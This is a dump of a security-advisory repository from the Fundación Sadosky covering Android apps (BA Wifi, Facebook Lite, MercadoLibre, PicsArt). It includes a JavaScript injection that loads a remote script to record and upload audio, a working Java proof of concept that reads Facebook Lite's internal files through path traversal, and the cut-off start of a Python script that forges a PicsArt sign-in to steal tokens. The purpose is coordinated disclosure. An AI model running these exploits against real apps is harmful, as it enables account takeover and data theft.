Javascript utilizando el módulo _Media_[4] logrando capturar audio. 72 | 73 | _ adb shell am start -n ar.gob.ba.bawifi/.bawifi --es url "https://googledrive.com/host/0B0f57xoYl_BFOG5FMEhpc3AzckU/testing.html"_ 74 | BA Wifi intenta obtener el recorrido a los lugares donde hay redes abierta a partir de la ubicación del dispositivo. Para ello, se envía un pedido HTTP a _http://recorridos.usig.buenosaires.gob.ar/2.0/consultar_recorrido_. Este pedido devuelve un Javascript (originalmente un Callback) que se corre en un contexto de un iframe dentro de la ventana principal de la aplicación. Dado a que el pedido se realiza mediante transporte inseguro, atacantes podrían realizar Man-in-the-Middle e inyectar su propio Javascript. Nuevamente, dado a que Phonegap utiliza interfaces que conectan Java con Javascript, es posible acceder a información privada del usuario a través de estas inyecciones de código. Por ejemplo, el siguiente código inyectado al pedido permite grabar audio y subirlo a un servidor malicioso. Este inyecta al documento del padre con un tag de _script_ similar al del ejemplo anterior. 75 | 76 | ``` 77 | function loadjsfile(filename){ 78 | 79 | var xhrObj = new XMLHttpRequest(); 80 | // open and send a synchronous request 81 | xhrObj.open('GET', filename, false); 82 | xhrObj.send(''); 83 | // add the returned content to a newly created script tag 84 | var se = document.createElement('script'); 85 | se.type = "text/javascript"; 86 | se.charset = "UTF-8"; 87 | se.text = xhrObj.responseText; 88 | alert(xhrObj.responseText); 89 | 90 | parent.document.getElementsByTagName('head')[0].appendChild(se); 91 | 92 | } 93 | 94 | loadjsfile("http://yourjavascript.com/1212011542/cordova-record-and-upload.js"); 95 | 96 | 97 | ``` 98 | 99 | Por último, inyectar código Javascript permitiría ejecutar código arbitrariamente en dispositivos con versiones corriendo anteriores a la 4.4.4 dado que la aplicación cuenta un _targetSDK_ menor a 17 lo permite que se pueda utilizar Java Reflection para acceder a otras clases que no sean la expuesta a través de la interface con _addJavascriptInterface_. A partir de la versión 4.4.4, el motor que implementa Webview bloquea el uso de Java Reflection [5]. 100 | 101 | 102 | ## 8. Cronología del reporte 103 | 104 | * **2015-04-10:** 105 | Se publica una actualización que soluciona los problemas mencionados. 106 | 107 | * **2015-11-26:** 108 | Se publica el reporte de seguridad. 109 | 110 | 111 | ## 9. Referencias 112 | 113 | [1] [https://play.google.com/store/apps/details?id=ar.gob.ba.bawifi](https://play.google.com/store/apps/details?id=ar.gob.ba.bawifi) 114 | 115 | [2] [http://cordova.apache.org](http://cordova.apache.org) 116 | 117 | [3] [https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3500 ](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3500 ) 118 | 119 | [4] [http://docs.phonegap.com/en/edge/cordova_media_media.md.html](http://docs.phonegap.com/en/edge/cordova_media_media.md.html) 120 | 121 | [5] [https://code.google.com/p/chromium/issues/detail?id=359528 ](https://code.google.com/p/chromium/issues/detail?id=359528 ) 122 | 123 | ## 10. Acerca Fundación Dr. Manuel Sadosky 124 | 125 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 126 | 127 | ## 11. Derechos de autor 128 | 129 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) 130 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | FacebookVulnerability 4 | 5 | 6 | 7 | 8 | 9 | com.android.ide.eclipse.adt.ResourceManagerBuilder 10 | 11 | 12 | 13 | 14 | com.android.ide.eclipse.adt.PreCompilerBuilder 15 | 16 | 17 | 18 | 19 | org.eclipse.jdt.core.javabuilder 20 | 21 | 22 | 23 | 24 | com.android.ide.eclipse.adt.ApkBuilder 25 | 26 | 27 | 28 | 29 | 30 | com.android.ide.eclipse.adt.AndroidNature 31 | org.eclipse.jdt.core.javanature 32 | 33 | 34 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 3 | org.eclipse.jdt.core.compiler.compliance=1.6 4 | org.eclipse.jdt.core.compiler.source=1.6 5 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 10 | 11 | 16 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/History.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/ic_launcher-web.png -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/libs/android-support-v4.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/libs/android-support-v4.jar -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/proguard-project.txt: -------------------------------------------------------------------------------- 1 | # To enable ProGuard in your project, edit project.properties 2 | # to define the proguard.config property as described in that file. 3 | # 4 | # Add project specific ProGuard rules here. 5 | # By default, the flags in this file are appended to flags specified 6 | # in ${sdk.dir}/tools/proguard/proguard-android.txt 7 | # You can edit the include path and order by changing the ProGuard 8 | # include property in project.properties. 9 | # 10 | # For more details, see 11 | # http://developer.android.com/guide/developing/tools/proguard.html 12 | 13 | # Add any project specific keep options here: 14 | 15 | # If your project uses WebView with JS, uncomment the following 16 | # and specify the fully qualified class name to the JavaScript interface 17 | # class: 18 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 19 | # public *; 20 | #} 21 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/project.properties: -------------------------------------------------------------------------------- 1 | # This file is automatically generated by Android Tools. 2 | # Do not modify this file -- YOUR CHANGES WILL BE ERASED! 3 | # 4 | # This file must be checked in Version Control Systems. 5 | # 6 | # To customize properties used by the Ant build system edit 7 | # "ant.properties", and override values to adapt the script to your 8 | # project structure. 9 | # 10 | # To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home): 11 | #proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt 12 | 13 | # Project target. 14 | target=android-19 15 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/drawable-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/res/drawable-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/drawable-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/res/drawable-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/drawable-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/res/drawable-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/drawable-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/FacebookLite/FacebookVulnerability/res/drawable-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/menu/main.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values-sw600dp/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values-sw720dp-land/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 128dp 8 | 9 | 10 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values-v11/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values-v14/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 8 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values/dimens.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 16dp 5 | 16dp 6 | 7 | 8 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values/strings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | FacebookVulnerability 5 | Settings 6 | show 7 | 8 | 9 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/res/values/styles.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 14 | 15 | 16 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /FacebookLite/FacebookVulnerability/src/ar/org/sadosky/facebookvulnerability/MainActivity.java: -------------------------------------------------------------------------------- 1 | package ar.org.sadosky.facebookvulnerability; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.FileInputStream; 5 | import java.io.FileNotFoundException; 6 | import java.io.InputStream; 7 | import java.io.InputStreamReader; 8 | 9 | import android.net.Uri; 10 | import android.os.Bundle; 11 | import android.os.ParcelFileDescriptor; 12 | import android.provider.Browser; 13 | import android.app.Activity; 14 | import android.database.Cursor; 15 | import android.database.DatabaseUtils; 16 | import android.util.Log; 17 | import android.view.Menu; 18 | import android.widget.TextView; 19 | 20 | public class MainActivity extends Activity { 21 | 22 | @Override 23 | protected void onCreate(Bundle savedInstanceState) { 24 | super.onCreate(savedInstanceState); 25 | setContentView(R.layout.activity_main); 26 | 27 | Uri uriCustom = Uri 28 | .parse("content://com.facebook.lite.media/..%2Fshared_prefs%2Frti.mqtt.ids.xml"); 29 | InputStream fileStream; 30 | try { 31 | fileStream = getContentResolver().openInputStream(uriCustom); 32 | 33 | BufferedReader r = new BufferedReader(new InputStreamReader( 34 | fileStream)); 35 | StringBuilder total = new StringBuilder(); 36 | String line; 37 | while ((line = r.readLine()) != null) { 38 | total.append(line); 39 | } 40 | 41 | fileStream.close(); 42 | Log.d("DEBUG", "string is " + total.toString()); 43 | TextView text = (TextView)findViewById(R.id.file_content); 44 | text.setText(total); 45 | } catch (Exception e) { 46 | Log.d("DEBUG", Log.getStackTraceString(e)); 47 | } 48 | } 49 | 50 | @Override 51 | public boolean onCreateOptionsMenu(Menu menu) { 52 | // Inflate the menu; this adds items to the action bar if it is present. 53 | getMenuInflater().inflate(R.menu.main, menu); 54 | return true; 55 | } 56 | 57 | } 58 | -------------------------------------------------------------------------------- /FacebookLite/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidad en la aplicación Facebook Lite para Android 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidad en la aplicación Facebook Lite para Android 8 | 9 | **Reporte ID:** STIC-2015-2012 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-02-2 16 | 17 | **Fabricantes contactados:** Facebook 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Improper Limitation of a Pathname to a Restricted Directory [[http://cwe.mitre.org/data/definitions/22.html](http://cwe.mitre.org/data/definitions/22.html)] 26 | 27 | **Impacto:** Perdida de datos 28 | 29 | **Remotamente explotable:** Si 30 | 31 | **Localmente explotable:** Si 32 | 33 | **Identificador CVE:** N/A 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Facebook Lite es una versión más liviana de la aplicación de la red social Facebook, diseñada para aquellos países donde las redes inalámbricas son lentas o para descargar en dispositivos que no tienen capacidad para soportar la versión original de la aplicación. 40 | 41 | La aplicación, que cuenta con entre 50 y 100 millones de descargas (a enero de 2016), tiene una vulnerabilidad de Path Traversal que permite a otras aplicaciones acceder a archivos guardados en el almacenamiento interno de la aplicación. Esto permitiría a una aplicación maliciosa, sin necesidad de solicitar ningún permiso, podría, de este modo, tomar completo control de la cuenta de Facebook instalada en el dispositivo de la víctima. 42 | 43 | 44 | ## 4. Paquetes vulnerables 45 | 46 | * Facebook Lite version 1.15.0.137.302 o anteriores 47 | 48 | ## 5. Información y soluciones del fabricante 49 | 50 | Facebook reconoció y solucionó la vulnerabilidad en la versión 1.16.0.155.350 de la aplicación, publicada el 28 de Enero, 2016.. 51 | 52 | 53 | ## 6. Créditos 54 | 55 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 56 | 57 | ## 7. Descripción técnica 58 | 59 | La aplicación exporta un provider llamado MediaContentProvider vulnerable a Path Traversal. Al llamar al método openFile de dicho ContentProvider, la aplicación obtiene el último segmento directamente de la URI, que es controlada por el atacante y puede apuntar a una ruta relativa a cualquier archivo de forma codificada. 60 | 61 | El siguiente método vulnerable es de la clase _com.facebook.lite.photo.MediaContentProvider_. 62 | 63 | ``` 64 | public ParcelFileDescriptor openFile(Uri r5_Uri, String r6_String) { 65 | new StringBuilder("photo/called with uri: ").append(r5_Uri); 66 | if (this.a.match(r5_Uri) == 1) { 67 | File r0_File = new File(getContext().getFilesDir(), r5_Uri.getLastPathSegment()); 68 | if (!r0_File.exists()) { 69 | try { 70 | r0_File.createNewFile(); 71 | } catch (IOException e) { 72 | Log.e("MediaContentProvider", "photo/create new file failed", e); 73 | } 74 | } 75 | return ParcelFileDescriptor.open(r0_File, 805306368); 76 | } else { 77 | new StringBuilder("photo/unsupported uri: ").append(r5_Uri); 78 | throw new FileNotFoundException(new StringBuilder("Unsupported uri: ").append(r5_Uri.toString()).toString()); 79 | } 80 | } 81 | 82 | 83 | ``` 84 | 85 | 86 | Por ejemplo, cuando un atacante haciendo un pedido a la URI _content://com.facebook.lite.media/..%2Fshared_prefs%2Frti.mqtt.ids.xml_, el último segmento se traduce a _../shared_prefs/rti.mqtt.ids.xml_. Esto permitiría que dicho archivo, que reside en la memoria interna de la aplicación, sea leido por una aplicación maliciosa. 87 | 88 | El POC provisto muestra como cualquier aplicación puede leer un archivo interno de Facebook Lite: 89 | 90 | ``` 91 | @Override 92 | protected void onCreate(Bundle savedInstanceState) { 93 | super.onCreate(savedInstanceState); 94 | setContentView(R.layout.activity_main); 95 | 96 | Uri uriCustom = Uri 97 | .parse("content://com.facebook.lite.media/..%2Fshared_prefs%2Frti.mqtt.ids.xml"); 98 | InputStream fileStream; 99 | try { 100 | fileStream = getContentResolver().openInputStream(uriCustom); 101 | 102 | BufferedReader r = new BufferedReader(new InputStreamReader( 103 | fileStream)); 104 | StringBuilder total = new StringBuilder(); 105 | String line; 106 | while ((line = r.readLine()) != null) { 107 | total.append(line); 108 | } 109 | 110 | fileStream.close(); 111 | Log.d("DEBUG", "string is " + total.toString()); 112 | TextView text = (TextView)findViewById(R.id.file_content); 113 | text.setText(total); 114 | } catch (Exception e) { 115 | Log.d("DEBUG", Log.getStackTraceString(e)); 116 | } 117 | } 118 | 119 | 120 | 121 | ``` 122 | 123 | 124 | ## 8. Cronología del reporte 125 | 126 | * **2015-11-20:** 127 | Se enviaron detalles técnicos de las vulnerabilidades al fabricante. 128 | 129 | * **2015-11-25:** 130 | El fabricante aceptó el reporte y lo reenvió al equipo de desarrollo apropiado. 131 | 132 | * **2015-12-3:** consultó acerca del estado del issue. 133 | 134 | * **2015-12-3:** 135 | Dado que no se recibió ninguna respuesta, preguntó acerca un tiempo estimado para una actualización que solucionase el problema. 136 | 137 | * **2015-12-3:** 138 | Dado que no se recibió ninguna respuesta, preguntó acerca un tiempo estimado para una actualización que solucionase el problema. 139 | 140 | * **2016-01-25:** 141 | El fabricante aseguró que habían logrado solucionar la vulnerabilidad y que estaban trabajando para realizar una actualización. 142 | 143 | * **2016-01-26:** 144 | El fabricante notificó que lanzaría una actualización esa semana con el problema solucionado. 145 | 146 | * **2016-02-2:** 147 | El reporte fue publicado. 148 | 149 | ## 9. Referencias 150 | 151 | 152 | 153 | ## 10. Acerca Fundación Dr. Manuel Sadosky 154 | 155 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 156 | 157 | ## 11. Derechos de autor 158 | 159 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /FacebookLite/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Facebook Lite app for Android 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Facebook Lite app for Android 8 | 9 | **Advisory ID:** STIC-2015-2012 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-29-1 14 | 15 | **Date of last update:** 2016-1-26 16 | 17 | **Vendors contacted:** Facebook 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Improper Limitation of a Pathname to a Restricted Directory [[http://cwe.mitre.org/data/definitions/22.html](http://cwe.mitre.org/data/definitions/22.html)] 26 | 27 | **Impact:** Data loss 28 | 29 | **Remotely Exploitable:** No 30 | 31 | **Locally Exploitable:** Yes 32 | 33 | **CVE Identifier:** N/A 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Facebook Lite is a lighter Android version of the Facebook's social network app. The app is designed specifically for use in countries where the wireless networks are slow or to install on older devices that are not able to support all of the original Facebook version. 40 | 41 | Facebook Lite has around 50 to 100 milli ons downloads (as of January 2016). The app has a Path traversal vulnerability that allows other apps to access any files in the application's internal storage. This could allow a malicious application, without any required permissions, to take control of the victim device's Facebook account . 42 | 43 | 44 | ## 4. Vulnerable packages 45 | 46 | * Facebook Lite version 1.15.0.137.302 or older 47 | 48 | ## 5. Vendor Information, Solutions and Workarounds 49 | 50 | Facebook acknowledged and fixed the vulnerability in the app version 1.15.0.137.302, released on January 28, 2016. 51 | 52 | 53 | ## 6. Credits 54 | 55 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 56 | 57 | ## 7. Technical Description 58 | 59 | Facebook Lite application has an exported provider named MediaContentProvider. This provider is vulnerable to a Path Traversal vulnerability. While calling ContentProvider openFile method the app obtain the last path segment directly from the URI which is controlled by an attacker and can be pointed to an encoded relative path to any file. 60 | 61 | The following vulnerable method is from _com.facebook.lite.photo.MediaContentProvider_ class. 62 | 63 | ``` 64 | public ParcelFileDescriptor openFile(Uri r5_Uri, String r6_String) { 65 | new StringBuilder("photo/called with uri: ").append(r5_Uri); 66 | if (this.a.match(r5_Uri) == 1) { 67 | File r0_File = new File(getContext().getFilesDir(), r5_Uri.getLastPathSegment()); 68 | if (!r0_File.exists()) { 69 | try { 70 | r0_File.createNewFile(); 71 | } catch (IOException e) { 72 | Log.e("MediaContentProvider", "photo/create new file failed", e); 73 | } 74 | } 75 | return ParcelFileDescriptor.open(r0_File, 805306368); 76 | } else { 77 | new StringBuilder("photo/unsupported uri: ").append(r5_Uri); 78 | throw new FileNotFoundException(new StringBuilder("Unsupported uri: ").append(r5_Uri.toString()).toString()); 79 | } 80 | } 81 | 82 | 83 | ``` 84 | 85 | 86 | For example, when an attacker requests access to the URI _content://com.facebook.lite.media/..%2Fshared_prefs%2Frti.mqtt.ids.xml_, the last path segment would translate to _../shared_prefs/rti.mqtt.ids.xml_. This would allow that file, that is stored in the application internal storage, to be read by a malicious application. 87 | 88 | 89 | The provided POC shows how any application can read a Facebook Lite internal file: 90 | 91 | ``` 92 | @Override 93 | protected void onCreate(Bundle savedInstanceState) { 94 | super.onCreate(savedInstanceState); 95 | setContentView(R.layout.activity_main); 96 | 97 | Uri uriCustom = Uri 98 | .parse("content://com.facebook.lite.media/..%2Fshared_prefs%2Frti.mqtt.ids.xml"); 99 | InputStream fileStream; 100 | try { 101 | fileStream = getContentResolver().openInputStream(uriCustom); 102 | 103 | BufferedReader r = new BufferedReader(new InputStreamReader( 104 | fileStream)); 105 | StringBuilder total = new StringBuilder(); 106 | String line; 107 | while ((line = r.readLine()) != null) { 108 | total.append(line); 109 | } 110 | 111 | fileStream.close(); 112 | Log.d("DEBUG", "string is " + total.toString()); 113 | TextView text = (TextView)findViewById(R.id.file_content); 114 | text.setText(total); 115 | } catch (Exception e) { 116 | Log.d("DEBUG", Log.getStackTraceString(e)); 117 | } 118 | } 119 | 120 | 121 | 122 | ``` 123 | 124 | 125 | ## 8. Report Timeline 126 | 127 | * **2015-11-20:** 128 | Technical details of the vulnerabilities sent to the vendor. 129 | 130 | * **2015-11-25:** 131 | The vendor acknowledged to have received the report and sent it to the appropriate product team. 132 | 133 | * **2015-12-3:** asked for an status update on the issue. 134 | 135 | * **2016-01-4:** 136 | Having received no response, asked for an estimated time of release for the fix. 137 | 138 | * **2016-01-25:** 139 | The vendor assured that a fix was ready and that they were working to get it deployed. 140 | 141 | * **2016-01-26:** 142 | The vendor notified that the app would be updated that week with the patch. 143 | 144 | * **2016-29-1:** 145 | Advisory was released. 146 | 147 | ## 9. References 148 | 149 | 150 | 151 | ## 10. About Fundación Dr. Manuel Sadosky 152 | 153 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 154 | 155 | ## 11. Copyright Notice 156 | 157 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /MercadoLibre/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Mercadolibre Android Application Missing Server Certificate Validation 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Mercadolibre Android Application Missing Server Certificate Validation 8 | 9 | **Advisory ID:** STIC-2014-0211 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2014-10-27 14 | 15 | **Date of last update:** 2014-10-27 16 | 17 | **Vendors contacted:** Mercadolibre 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Improper Following of a Certificate's Chain of Trust [[http://cwe.mitre.org/data/definitions/296.html](http://cwe.mitre.org/data/definitions/296.html)] 26 | 27 | **Impact:** Data loss 28 | 29 | **Remotely Exploitable:** No 30 | 31 | **Locally Exploitable:** Yes 32 | 33 | **CVE Identifier:** N/A 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | MercadoLibre android application [1] doesn't verify the certificate presented by the server. 40 | This allows attackers to present fake certificates and perform Man-in-the-Middle attacks allowing him to see user's credentials to the site and credit card information. 41 | 42 | 43 | ## 4. Vulnerable packages 44 | 45 | * Android applications running MercadoLibre older than version 3.10.6. 46 | 47 | ## 5. Vendor Information, Solutions and Workarounds 48 | 49 | MercadoLibre acknowledged and fixed the vulnerability in version 3.10.6. They did so by updating the loopj library, in which the certificate validation process is not skipped by default. 50 | 51 | To determine which version of the applications you have installed on your Android device, go to "Settings|application settings|manage application" then tap on the MercadoLibre app. 52 | 53 | 54 | ## 6. Credits 55 | 56 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 57 | 58 | ## 7. Technical Description 59 | 60 | MercadoLibre Android's application uses loopj's library [2] to communicate to its server. 61 | HTTP Requests destined to the server are passed through the interface _MLAPIClient_ to this library, which is responsible for establishing a secure connection. 62 | 63 | The vulnerability is found in the class _AsyncHttpClient_ inside loopj library, which uses the class _FakeSocketFactory_ to set up new sockets used to connect to MercadoLibre's server. The sockets created use a custom X509TrustManager named _FakeTrustManager_. The TrustManager's task is to check the certificate presented by the server in order to prevent Man-in-the-Middle attacks. Since _FakeTrustManager_ is just an empty implementation, all presented certificates will be valid ones. This allows attacker to mount this kinds of attacks by intercepting traffic generated by the application. 64 | 65 | 66 | ## 8. Report Timeline 67 | 68 | * **2014-09-09:** Programa Seguridad en TIC sent the vendor a description of the vulnerability to MercadoLibre, notifying them also that Computer Emergency Response Team [3] had published a document listing applications that failed to validate SSL in which they where included, making the vulnerability now public. 69 | 70 | * **2014-09-09:** 71 | The vendor acknowledged the vulnerability and assured that the problem was being addressed. 72 | 73 | * **2014-09-27:** 74 | The vendor informed that the released MercadoLibre version 3.10.6 fixed the vulnerability. 75 | 76 | * **2014-10-27:** 77 | The advisory was released. 78 | 79 | 80 | ## 9. References 81 | 82 | [1] [https://play.google.com/store/apps/details?id=com.mercadolibre](https://play.google.com/store/apps/details?id=com.mercadolibre) 83 | 84 | [2] [https://github.com/loopj/android-async-http](https://github.com/loopj/android-async-http) 85 | 86 | [3] [http://www.kb.cert.org/vuls/id/582497](http://www.kb.cert.org/vuls/id/582497) 87 | 88 | ## 10. About Fundación Dr. Manuel Sadosky 89 | 90 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 91 | 92 | ## 11. Copyright Notice 93 | 94 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) 95 | -------------------------------------------------------------------------------- /PicsArt/POC/exploit_facebook.py: -------------------------------------------------------------------------------- 1 | import facebook 2 | import sys 3 | import sys 4 | import urllib 5 | import urllib2 6 | import json 7 | import traceback 8 | #using github.com/pythonforfacebook/facebook-sdk 9 | OAUTH_TOKEN = '' 10 | 11 | def obtain_key(facebook_id): 12 | url = 'https://api.picsart.com/users/signin.json' 13 | only_facebook_id = '''{"id":"%s","cover":"","username":"","profile_url":"","email":"","name":""}''' %facebook_id 14 | data = 'token=&auth='+ urllib.quote(only_facebook_id)+'&provider=facebook' 15 | req = urllib2.Request(url, data) 16 | response = urllib2.urlopen(req) 17 | jsonobject = json.loads(response.read()) 18 | return jsonobject['key'] 19 | 20 | 21 | def obtain_facebook_token(key): 22 | url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key 23 | response = urllib2.urlopen(url) 24 | data = json.loads(response.read()) 25 | print data 26 | global OAUTH_TOKEN 27 